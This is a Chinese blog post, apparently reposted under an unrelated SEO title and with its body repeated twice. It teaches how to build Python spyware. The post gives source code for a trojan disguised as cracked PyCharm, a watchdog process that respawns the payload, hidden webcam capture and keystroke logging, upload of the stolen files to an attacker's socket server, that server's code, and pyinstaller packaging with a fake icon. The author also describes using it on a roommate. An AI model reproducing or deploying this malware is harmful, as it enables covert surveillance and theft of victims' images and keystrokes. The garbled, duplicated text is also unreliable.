手机python可以做什么,手机怎么用python程序

这篇具有很好参考价值的文章主要介绍了手机python可以做什么,手机怎么用python程序。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

大家好,小编来为大家解答以下问题,手机python可以做什么,手机怎么用python程序,现在让我们一起来看看吧!

手机python可以做什么,手机怎么用python程序,数据库

大家好,本文将围绕python简单的病毒编程代码展开说明,如何用python做恶搞病毒是一个很多人都想弄明白的事情,想搞清楚python写病毒的教程需要先了解以下几个事情。

手机python可以做什么,手机怎么用python程序,数据库

文仅供学习和测试,请勿用于非法用途python自动化运维是干什么的。

前言

花了挺长时间去开发的,中间有很多包是抄的,比如DDL注入、关于opencv等等,主要其实做了一些拼接、打包、部署python雨点特效。

写这篇博客并不真的想去写病毒攻击别人,而是想告诉大家简单的病毒的原理以及其实我们py学好了,也有能力做出来,并不算难。

写这个东西的人挺少的。那么,我们开始吧。注:本文源码并不会直接公布于博客,希望对其有兴趣的朋友点击蓝色字体:python免费学习资料以及群交流解答点击即可加入 获取,以防不法用途,我可不想吃国家饭(牢饭)。

手机python可以做什么,手机怎么用python程序,数据库

病毒原理

三个.exe: Pycharm破解版.exe 、 WinCoreManagement.exe 、 System.exe

首先我们有个伪装的程序,比如相信有很多程序猿都去下载过 XXX软件破解版 ,我们这里以"Pycharm破解版"为例。

我们会给用户下载一个压缩包【Pycharm破解版】,里面一定会有很多奇奇怪怪的东西,然后我们把三个.exe也放在里面。

当用户打开 Pycharm.exe 时,会去调用 WinCoreManagement.exe 、 System.exe ,以及 正常的Pycharm程序 ,这样用户就难以发现。

其中调用的 WinCoreManagement.exe 就是我们核心的病毒程序了,我给它加了三个功能:不定时拍照、记录用户的输入、偶尔锁下用户键盘。

刚才还启用了一个 System.exe ,当用户发现了我们的主病毒程序,去任务管理器杀掉了主病毒进程,此时这个 System.exe 进程就会不断去重启病毒程序。

而且一般人其实是不敢去杀一个叫 System 的进程的,对吧。这样,就算是有点经验的程序员,也难不中招。

源码解析

frozen.py

用于处理多线程错乱的问题

Pycharm破解版.py

 
  
 
  

import os import subprocess import time import frozen # Pyinstaller多进程代码打包exe出现多个进程解决方案 import multiprocessing if __name__ == '__main__': multiprocessing.freeze_support() # Pyinstaller多进程代码打包exe出现多个进程解决方案 os.chdir(r'.') #subprocess.Popen(r'pycharm.exe') # 真正的pychamr程序 subprocess.Popen(r'System.exe') # System.exe负责无限重启病毒程序WinCoreManagerment.exe time.sleep(20)

这一块儿主要是去调用一个 病毒程序 和进行对用户的 欺骗 程序,应该不难理解。

System.py

 
  
 
  

import frozen # Pyinstaller多进程代码打包exe出现多个进程解决方案 import multiprocessing import subprocess, time, sys, os import win32con import win32api CMD = r"WinCoreManagement.exe" # 需要执行程序的绝对路径 def run(cmd): # print('start OK!') os.chdir(os.path.dirname(os.path.abspath(__file__))) p = subprocess.Popen(cmd, shell=False) p.wait() # 类似于p.join() try: subprocess.call('start /b taskkill /F /IM %s' % CMD) # 清理残余 except Exception as e: # print(e) pass # print('子进程关闭,重启') run(cmd) if __name__ == '__main__': multiprocessing.freeze_support() # Pyinstaller多进程代码打包exe出现多个进程解决方案 run(CMD)

若用户杀掉病毒主程序,这个程序可以用来不断使病毒程序重启

WinCoreManagement.py

分为三块

多线程

 
  
 
  

from threading import Timer from threading import Thread from threading import Lock # Lock() 线程锁,防止线程全部错乱 self.mutex_log = Lock() # 日志锁 self.mutex_photo = Lock() # 照片锁 self.mutex_sock = Lock() # 套接字上传锁 # .release() 释放锁 self.mutex_log.release() self.mutex_photo.release() self.mutex_sock.release()

日志文件的读写

 
  
 
  

# 用户家目录,替换用户 # 记住这个 self.base_dir : 路径 # Expand the user's home directory,比如我的电脑就是 C:\\Users\\Daniel self.base_dir = os.path.expanduser('~') # 权限问题 # 初始化生成日志文件 self.log_path = r'%s/adhsvc.dll.system32' % self.base_dir open(self.log_path, 'a', encoding='utf-8').close() win32api.SetFileAttributes(self.log_path, win32con.FILE_ATTRIBUTE_HIDDEN) def log_debug(self, res): if not self.debug: return self.mutex_debug.acquire() with open(self.debug_log_path, mode='a', encoding='utf-8') as f: # 写进去 f.write('\n%s\n' % res) # 刷新缓冲区 f.flush() # 释放掉 self.mutex_debug.release() # 和上面那个同理 def log(self, res): self.mutex_log.acquire() with open(self.log_path, mode='a', encoding='utf-8') as f: f.write(res) f.flush() self.mutex_log.release()

照相功能,opencv会用就行

 
  
 
  

def take_photoes(self): while True: time.sleep(10) # 图片路径,同时带上路径+时间 photo_path = r'%s/%s.jpeg' % (self.base_dir, time.strftime('%Y-%m-%d_%H_%M_%S')) cap = None try: # VideoCapture()中第一个参数是摄像头标号,默认情况电脑自带摄像头索引为0,外置为1.2.3…, # 参数是视频文件路径则打开视频,如cap = cv2.VideoCapture(“../test.avi”) # CAP_DSHOW是微软特有的,cv2.release()之后摄像头依然开启,需要指定该参数 cap = cv2.VideoCapture(0, cv2.CAP_DSHOW) ret, frame = cap.read() self.mutex_photo.acquire() cv2.imwrite(photo_path, frame) except Exception as e: self.log_debug('照相异常: %s' % e) finally: # 无论如何都要释放锁,关闭相机 self.mutex_photo.release() if cap is not None: cap.release() #None.release() cv2.destroyAllWindows() if os.path.exists(photo_path): win32api.SetFileAttributes(photo_path, win32con.FILE_ATTRIBUTE_HIDDEN)

上传功能

 
  
 
  

原理: 套接字: Socket = (IP地址:端口号) 服务端监听: 服务器端套接字并不定位具体的客户端套接字,而是等待连接。即打开所有端口 客户端请求: 客户端的套接字提出连接请求,要连接的是服务端的套接字。因此要指定服务器的套接字,指出其地址+端口号,然后向服务端提出连接请求 连接确认: 服务端接受到了客户端的套接字的连接请求,响应,然后建立一个新的线程,并把服务器套接字的描述发给客户端 一旦客户端确认了此描述,连接就好了。然后服务器套接字继续处于监听,接收其他客户端套接字的连接请求

配置

 
  
 
  

def send_data(self, headers, data): try: self.mutex_sock.acquire() # 上传数据的过程中不要做其他事情 # 配置问题,ipv4+网络流传输,不用管 client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #套接字:ip+端口 client.connect((self.server_ip, self.server_port)) # dumps 编码,将一个python数据结构转为Json编码的字符串 head_json = json.dumps(headers) # 换格式 head_json_bytes = bytes(head_json, encoding='utf-8') # 发送Json包,到时候解码 client.send(struct.pack('i', len(head_json_bytes))) client.send(head_json_bytes) client.sendall(data) #关闭套接字 client.close() # 成功传输发回命令 res = (True, 'ok') except ConnectionRefusedError as e: msg = '套接字服务端未启动: %s' % e res = (False, msg) except Exception as e: msg = '套接字其他错误:%s' % e res = (False, msg) finally: self.mutex_sock.release() return res

发送日志信息

 
  
 
  

# 发送日志信息 def upload_log(self): while True: time.sleep(1) # 没东西就直接跳掉 if not os.path.getsize(self.log_path): continue # 开锁 self.mutex_log.acquire() # 打开文件,二进制读写手法 with open(self.log_path, mode='rb+') as f: data = f.read() self.mutex_log.release() # 文件大小+文件名字,以路径啥的命名 headers = { 'data_size': len(data), 'filename': os.path.basename(self.log_path) } self.log_debug('正在往服务端发送日志......[%s]' % data) is_ok, msg = self.send_data(headers, data) if is_ok: self.log_debug('日志[%s]发送成功。。。' % data) else: self.log_debug('日志[%s]发送失败:%s' % (data, msg)) continue # 指针的位置重新定回0,好习惯 f.truncate(0)

发送图片

 
  
 
  

def upload_photoes(self): while True: time.sleep(3) # 包含文件的列表取出来 files = os.listdir(self.base_dir) # jpeg结尾的文件全给我导出来 files_jpeg = [file_name for file_name in files if file_name.endswith('jpeg')] for file_name in files_jpeg: file_path = r'%s/%s' % (self.base_dir, file_name) # 没文件跳出去 if not os.path.exists(file_path): continue # 日志写进去 self.log_debug('开始上传图片: %s' % file_name) # 文件大小+文件名字 headers = { 'data_size': os.path.getsize(file_path), 'filename': file_name } # 开锁 self.mutex_photo.acquire() # 二进制读写数据及上传 with open(file_path, mode='rb+') as f: data = f.read() self.mutex_photo.release() is_ok, msg = self.send_data(headers, data) if is_ok: self.log_debug('图片%s发送完毕......' % file_name) else: self.log_debug('图片%s发送失败:%s' % (file_name, msg)) continue # 移除文件跑路,自己测试的时候可以注释掉 #os.remove(file_path)

DLL注入

这块儿,我们正经pythoner就先不要了解了

准备工作

1、最新anocoda3.7 https://www.anaconda.com/distribution/#download-section

2、提速下载可以改变源

pip3 config set global.index-url Simple Index

3、安装pywin32,安装时指定安装目录,默认为C:\Python37\Lib\site-packages Releases · mhammond/pywin32 · GitHub

4、安装opencv-python

pip install opencv-python

5、安装pyinstaller,依赖pyin32

pip install pyinstaller

6、ico文件准备好 在线制作 or https://www.easyicon.net/500133-QQ_Penguin_tencent_icon.html

=====到这里,我们病毒程序就写好了=====

服务端原理

源码 Toad_server.py 解析

 
  
 
  

import socketserver import struct import json import os import time class ToadServer(socketserver.BaseRequestHandler): coding='utf-8' max_packet_size=1024 def handle(self): ip,port=self.client_address with open(r'access.log',mode='a',encoding='utf-8') as f: f.write('[%s] X用户-> %s:%s 正在上传数据\n' %(time.strftime('%Y-%m-%d-%H:%M:%S'),ip, port)) try: head = self.request.recv(4) head_json_len = struct.unpack('i', head)[0] head_json = json.loads(self.request.recv(head_json_len).decode('utf-8')) data_len = head_json['data_size'] filename = head_json['filename'] recv_size = 0 recv_data = b'' with open(r'client_msg/client_%s_%s' %(ip,filename), 'ab') as f: while recv_size < data_len: recv_data = self.request.recv(1024) f.write(recv_data) recv_size += len(recv_data) except Exception as e: # 客户端断开 self.request.close() myserver=socketserver.ThreadingTCPServer(('0.0.0.0', 9999),ToadServer) myserver.serve_forever()

所有端口都开启监听,同时在写病毒程序时候,记得放行9999安全组。

服务端可以直接部署到阿里云等服务器上,然后安装上 Python 3.7 左右版本,

之后用 XFTP 上传 Toad_server.py

用 python3 Toad_server.py 命令使其运行

打包病毒.exe

和在云服务器上部署web项目一样,总不能让所有用户装上和我们一样的环境吧。

这样,我们用 pyinstaller 来打包,安装在上文,同时可以给软件换个更"专业"的图标,就能确保用户在自己的机子上也能运行了。

命令: pyinstaller -i pycharm.ico -Fw Pycharm.py

生成的.exe会在dist文件夹中。

实践出真知

三个exe文件打包出来,发给某个倒霉蛋,做点伪装...

自己阿里云上的服务端打开放那跑

手机python可以做什么,手机怎么用python程序,数据库

日志文件是 access.log ,记录用户键盘输入是 make.log ,生成的图片在 client_msg 文件夹中。

那么我们现在就去找个可爱的室友测试一下吧~

手机python可以做什么,手机怎么用python程序,数据库

打下码哈哈哈哈哈哈哈哈哈哈哈

不过一开始被360阻止了摄像头权限,真是流氓软件之首啧啧啧

结尾

那么今天这个有趣的项目就到这了,源码这里不方便公布。

如果你觉得特别有意思,想研究一下,那去文首点击蓝色字体拿吧~文章来源地址https://www.toymoban.com/news/detail-849690.html

大家好,本文将围绕python简单的病毒编程代码展开说明,如何用python做恶搞病毒是一个很多人都想弄明白的事情,想搞清楚python写病毒的教程需要先了解以下几个事情。

手机python可以做什么,手机怎么用python程序,数据库

文仅供学习和测试,请勿用于非法用途python自动化运维是干什么的。

前言

花了挺长时间去开发的,中间有很多包是抄的,比如DDL注入、关于opencv等等,主要其实做了一些拼接、打包、部署python雨点特效。

写这篇博客并不真的想去写病毒攻击别人,而是想告诉大家简单的病毒的原理以及其实我们py学好了,也有能力做出来,并不算难。

写这个东西的人挺少的。那么,我们开始吧。注:本文源码并不会直接公布于博客,希望对其有兴趣的朋友点击蓝色字体:python免费学习资料以及群交流解答点击即可加入 获取,以防不法用途,我可不想吃国家饭(牢饭)。

手机python可以做什么,手机怎么用python程序,数据库

病毒原理

三个.exe: Pycharm破解版.exe 、 WinCoreManagement.exe 、 System.exe

首先我们有个伪装的程序,比如相信有很多程序猿都去下载过 XXX软件破解版 ,我们这里以"Pycharm破解版"为例。

我们会给用户下载一个压缩包【Pycharm破解版】,里面一定会有很多奇奇怪怪的东西,然后我们把三个.exe也放在里面。

当用户打开 Pycharm.exe 时,会去调用 WinCoreManagement.exe 、 System.exe ,以及 正常的Pycharm程序 ,这样用户就难以发现。

其中调用的 WinCoreManagement.exe 就是我们核心的病毒程序了,我给它加了三个功能:不定时拍照、记录用户的输入、偶尔锁下用户键盘。

刚才还启用了一个 System.exe ,当用户发现了我们的主病毒程序,去任务管理器杀掉了主病毒进程,此时这个 System.exe 进程就会不断去重启病毒程序。

而且一般人其实是不敢去杀一个叫 System 的进程的,对吧。这样,就算是有点经验的程序员,也难不中招。

源码解析

frozen.py

用于处理多线程错乱的问题

Pycharm破解版.py

 
  
 
  

import os import subprocess import time import frozen # Pyinstaller多进程代码打包exe出现多个进程解决方案 import multiprocessing if __name__ == '__main__': multiprocessing.freeze_support() # Pyinstaller多进程代码打包exe出现多个进程解决方案 os.chdir(r'.') #subprocess.Popen(r'pycharm.exe') # 真正的pychamr程序 subprocess.Popen(r'System.exe') # System.exe负责无限重启病毒程序WinCoreManagerment.exe time.sleep(20)

这一块儿主要是去调用一个 病毒程序 和进行对用户的 欺骗 程序,应该不难理解。

System.py

 
  
 
  

import frozen # Pyinstaller多进程代码打包exe出现多个进程解决方案 import multiprocessing import subprocess, time, sys, os import win32con import win32api CMD = r"WinCoreManagement.exe" # 需要执行程序的绝对路径 def run(cmd): # print('start OK!') os.chdir(os.path.dirname(os.path.abspath(__file__))) p = subprocess.Popen(cmd, shell=False) p.wait() # 类似于p.join() try: subprocess.call('start /b taskkill /F /IM %s' % CMD) # 清理残余 except Exception as e: # print(e) pass # print('子进程关闭,重启') run(cmd) if __name__ == '__main__': multiprocessing.freeze_support() # Pyinstaller多进程代码打包exe出现多个进程解决方案 run(CMD)

若用户杀掉病毒主程序,这个程序可以用来不断使病毒程序重启

WinCoreManagement.py

分为三块

多线程

 
  
 
  

from threading import Timer from threading import Thread from threading import Lock # Lock() 线程锁,防止线程全部错乱 self.mutex_log = Lock() # 日志锁 self.mutex_photo = Lock() # 照片锁 self.mutex_sock = Lock() # 套接字上传锁 # .release() 释放锁 self.mutex_log.release() self.mutex_photo.release() self.mutex_sock.release()

日志文件的读写

 
  
 
  

# 用户家目录,替换用户 # 记住这个 self.base_dir : 路径 # Expand the user's home directory,比如我的电脑就是 C:\\Users\\Daniel self.base_dir = os.path.expanduser('~') # 权限问题 # 初始化生成日志文件 self.log_path = r'%s/adhsvc.dll.system32' % self.base_dir open(self.log_path, 'a', encoding='utf-8').close() win32api.SetFileAttributes(self.log_path, win32con.FILE_ATTRIBUTE_HIDDEN) def log_debug(self, res): if not self.debug: return self.mutex_debug.acquire() with open(self.debug_log_path, mode='a', encoding='utf-8') as f: # 写进去 f.write('\n%s\n' % res) # 刷新缓冲区 f.flush() # 释放掉 self.mutex_debug.release() # 和上面那个同理 def log(self, res): self.mutex_log.acquire() with open(self.log_path, mode='a', encoding='utf-8') as f: f.write(res) f.flush() self.mutex_log.release()

照相功能,opencv会用就行

 
  
 
  

def take_photoes(self): while True: time.sleep(10) # 图片路径,同时带上路径+时间 photo_path = r'%s/%s.jpeg' % (self.base_dir, time.strftime('%Y-%m-%d_%H_%M_%S')) cap = None try: # VideoCapture()中第一个参数是摄像头标号,默认情况电脑自带摄像头索引为0,外置为1.2.3…, # 参数是视频文件路径则打开视频,如cap = cv2.VideoCapture(“../test.avi”) # CAP_DSHOW是微软特有的,cv2.release()之后摄像头依然开启,需要指定该参数 cap = cv2.VideoCapture(0, cv2.CAP_DSHOW) ret, frame = cap.read() self.mutex_photo.acquire() cv2.imwrite(photo_path, frame) except Exception as e: self.log_debug('照相异常: %s' % e) finally: # 无论如何都要释放锁,关闭相机 self.mutex_photo.release() if cap is not None: cap.release() #None.release() cv2.destroyAllWindows() if os.path.exists(photo_path): win32api.SetFileAttributes(photo_path, win32con.FILE_ATTRIBUTE_HIDDEN)

上传功能

 
  
 
  

原理: 套接字: Socket = (IP地址:端口号) 服务端监听: 服务器端套接字并不定位具体的客户端套接字,而是等待连接。即打开所有端口 客户端请求: 客户端的套接字提出连接请求,要连接的是服务端的套接字。因此要指定服务器的套接字,指出其地址+端口号,然后向服务端提出连接请求 连接确认: 服务端接受到了客户端的套接字的连接请求,响应,然后建立一个新的线程,并把服务器套接字的描述发给客户端 一旦客户端确认了此描述,连接就好了。然后服务器套接字继续处于监听,接收其他客户端套接字的连接请求

配置

 
  
 
  

def send_data(self, headers, data): try: self.mutex_sock.acquire() # 上传数据的过程中不要做其他事情 # 配置问题,ipv4+网络流传输,不用管 client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #套接字:ip+端口 client.connect((self.server_ip, self.server_port)) # dumps 编码,将一个python数据结构转为Json编码的字符串 head_json = json.dumps(headers) # 换格式 head_json_bytes = bytes(head_json, encoding='utf-8') # 发送Json包,到时候解码 client.send(struct.pack('i', len(head_json_bytes))) client.send(head_json_bytes) client.sendall(data) #关闭套接字 client.close() # 成功传输发回命令 res = (True, 'ok') except ConnectionRefusedError as e: msg = '套接字服务端未启动: %s' % e res = (False, msg) except Exception as e: msg = '套接字其他错误:%s' % e res = (False, msg) finally: self.mutex_sock.release() return res

发送日志信息

 
  
 
  

# 发送日志信息 def upload_log(self): while True: time.sleep(1) # 没东西就直接跳掉 if not os.path.getsize(self.log_path): continue # 开锁 self.mutex_log.acquire() # 打开文件,二进制读写手法 with open(self.log_path, mode='rb+') as f: data = f.read() self.mutex_log.release() # 文件大小+文件名字,以路径啥的命名 headers = { 'data_size': len(data), 'filename': os.path.basename(self.log_path) } self.log_debug('正在往服务端发送日志......[%s]' % data) is_ok, msg = self.send_data(headers, data) if is_ok: self.log_debug('日志[%s]发送成功。。。' % data) else: self.log_debug('日志[%s]发送失败:%s' % (data, msg)) continue # 指针的位置重新定回0,好习惯 f.truncate(0)

发送图片

 
  
 
  

def upload_photoes(self): while True: time.sleep(3) # 包含文件的列表取出来 files = os.listdir(self.base_dir) # jpeg结尾的文件全给我导出来 files_jpeg = [file_name for file_name in files if file_name.endswith('jpeg')] for file_name in files_jpeg: file_path = r'%s/%s' % (self.base_dir, file_name) # 没文件跳出去 if not os.path.exists(file_path): continue # 日志写进去 self.log_debug('开始上传图片: %s' % file_name) # 文件大小+文件名字 headers = { 'data_size': os.path.getsize(file_path), 'filename': file_name } # 开锁 self.mutex_photo.acquire() # 二进制读写数据及上传 with open(file_path, mode='rb+') as f: data = f.read() self.mutex_photo.release() is_ok, msg = self.send_data(headers, data) if is_ok: self.log_debug('图片%s发送完毕......' % file_name) else: self.log_debug('图片%s发送失败:%s' % (file_name, msg)) continue # 移除文件跑路,自己测试的时候可以注释掉 #os.remove(file_path)

DLL注入

这块儿,我们正经pythoner就先不要了解了

准备工作

1、最新anocoda3.7 https://www.anaconda.com/distribution/#download-section

2、提速下载可以改变源

pip3 config set global.index-url Simple Index

3、安装pywin32,安装时指定安装目录,默认为C:\Python37\Lib\site-packages Releases · mhammond/pywin32 · GitHub

4、安装opencv-python

pip install opencv-python

5、安装pyinstaller,依赖pyin32

pip install pyinstaller

6、ico文件准备好 在线制作 or https://www.easyicon.net/500133-QQ_Penguin_tencent_icon.html

=====到这里,我们病毒程序就写好了=====

服务端原理

源码 Toad_server.py 解析

 
  
 
  

import socketserver import struct import json import os import time class ToadServer(socketserver.BaseRequestHandler): coding='utf-8' max_packet_size=1024 def handle(self): ip,port=self.client_address with open(r'access.log',mode='a',encoding='utf-8') as f: f.write('[%s] X用户-> %s:%s 正在上传数据\n' %(time.strftime('%Y-%m-%d-%H:%M:%S'),ip, port)) try: head = self.request.recv(4) head_json_len = struct.unpack('i', head)[0] head_json = json.loads(self.request.recv(head_json_len).decode('utf-8')) data_len = head_json['data_size'] filename = head_json['filename'] recv_size = 0 recv_data = b'' with open(r'client_msg/client_%s_%s' %(ip,filename), 'ab') as f: while recv_size < data_len: recv_data = self.request.recv(1024) f.write(recv_data) recv_size += len(recv_data) except Exception as e: # 客户端断开 self.request.close() myserver=socketserver.ThreadingTCPServer(('0.0.0.0', 9999),ToadServer) myserver.serve_forever()

所有端口都开启监听,同时在写病毒程序时候,记得放行9999安全组。

服务端可以直接部署到阿里云等服务器上,然后安装上 Python 3.7 左右版本,

之后用 XFTP 上传 Toad_server.py

用 python3 Toad_server.py 命令使其运行

打包病毒.exe

和在云服务器上部署web项目一样,总不能让所有用户装上和我们一样的环境吧。

这样,我们用 pyinstaller 来打包,安装在上文,同时可以给软件换个更"专业"的图标,就能确保用户在自己的机子上也能运行了。

命令: pyinstaller -i pycharm.ico -Fw Pycharm.py

生成的.exe会在dist文件夹中。

实践出真知

三个exe文件打包出来,发给某个倒霉蛋,做点伪装...

自己阿里云上的服务端打开放那跑

手机python可以做什么,手机怎么用python程序,数据库

日志文件是 access.log ,记录用户键盘输入是 make.log ,生成的图片在 client_msg 文件夹中。

那么我们现在就去找个可爱的室友测试一下吧~

手机python可以做什么,手机怎么用python程序,数据库

打下码哈哈哈哈哈哈哈哈哈哈哈

不过一开始被360阻止了摄像头权限,真是流氓软件之首啧啧啧

结尾

那么今天这个有趣的项目就到这了,源码这里不方便公布。

如果你觉得特别有意思,想研究一下,那去文首点击蓝色字体拿吧~

到了这里,关于手机python可以做什么,手机怎么用python程序的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 【fly-iot飞凡物联】(15):IOT项目使用TDengine数据库,进行技术调研,本地使用docker启动成功,可以使用python进行连接数据插入。

    本文的原文连接是: https://blog.csdn.net/freewebsys/article/details/108971807 fly-iot飞凡物联专栏: https://blog.csdn.net/freewebsys/category_12219758.html 产品简介 TDengine 是一款专为物联网、工业互联网等场景设计并优化的大数据平台,它能安全高效地将大量设备、数据采集器每天产生的高达 TB 甚至

    2024年02月03日
    浏览(53)
  • python在Django中,如何使用MySQL数据库进行分页怎么实现

    在Django中,使用MySQL数据库进行分页是一个相对简单的任务。Django的ORM提供了内置的分页功能,你只需要使用Paginator类即可。以下是一个基本的示例,展示了如何在Django中使用MySQL进行分页: 首先,确保你已经安装了Django和MySQL,并且已经配置了Django项目以使用MySQL数据库。

    2024年04月29日
    浏览(35)
  • java连接本地数据库可以简写为///

    url配置本地连接可以简写为

    2024年02月06日
    浏览(41)
  • Redis可以代替MySQL作为数据库吗

    当使用Redis作为数据库时,以下是一些基本的代码示例 展示了如何使用Redis进行数据存储、读取和更新: 1.连接到Redis服务器: 2.存储和获取数据: 3.列表操作: 4.有序集合操作: 6.键过期和删除: Redis作为数据库时,下面是一些更复杂的代码示例,展示了如何使用Redis进行高

    2024年02月16日
    浏览(25)
  • 功能测试也可以发现数据库相关的性能问题

    很多同学认为功能测试和性能测试是严格分开的,功能测试人员无法发现性能问题。其实不是这样的,功能测试人员在验证功能时也可以发现性能问题;一些功能反而在功能测试环境不好验证,需要在性能环境上测试。     今天咱们就说一下测试涉及数据库操作的功能时如何

    2024年02月14日
    浏览(40)
  • Oracle数据库中,授权某用户可以查询其他用户的表

    在Oracle数据库中,授权一个用户可以查看其他所有用户的表,需要执行以下步骤: 使用数据库管理员账号连接到Oracle数据库。 通过 GRANT 命令给用户授予必要的权限。例如,如果要授权用户 user1 可以查看所有其他用户的表,可以执行以下命令: 这条命令将授予 user1  SELECT

    2024年02月08日
    浏览(58)
  • [django] django好玩的地方在于,可以批量操作数据库了

    django好玩的地方在于,可以批量操作数据库了。 和数据库快速交互,真的是好厉害。 这种情况怎么过滤 objects.filter project = models.ForeignKey(to=“Project”, verbose_name=‘项目’, on_delete=models.CASCADE, max_length=50, null=False, help_text=‘项目’) mysql json类型的字段 models.JSONField 在django中是什

    2024年02月22日
    浏览(33)
  • uniapp前端+python后端=微信小程序支付到底怎么开发???国内的资料为什么没一篇能讲清楚,简简单单的只需要3步就可以了-V2版本

    真的,在接到这个任务的时候,本以为很简单,不就是普通的浏览器复制粘贴,最不济找下gpt给生成一下,但是到实际开发就不同了,不是后端出问题就是前端,搜资料,上百度上google,基本每一个人讲的都不一样,不是这问题就是那问题,特别是微信官方,自己接口的逻辑

    2024年01月22日
    浏览(39)
  • 数据集笔记:OpenCelliD(手机基站开放数据库)

    下载数据的方式可见:【数据获取】全球最大手机基站开源数据库 文件在linux中可以用如下方式解压:gunzip 454.csv.gz Radio 宽带蜂窝网络技术(例如 LTE, GSM) MCC 移动国家代码 MNC 移动网络代码 LAC/TAC/NID 位置区域代码 CID 用于识别每个基站收发信机或BTS的扇区 Longitude 经度 Latit

    2024年02月07日
    浏览(96)
  • Java连接数据库(学生管理系统案例,可以实现增删改查)

    首先,需要做一个准备工作 ——下载jar包,这个包是用来支持数据库的连接的 官网的下载链接:MySQL :: Download Connector/J 点击链接进入页面: 选择画红框的下载按钮。 与此同时,打开IDEA开发工具,在当前项目目录下新建一个lib目录文件夹用来存放第三方jar包,这样做方便管

    2024年02月07日
    浏览(44)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包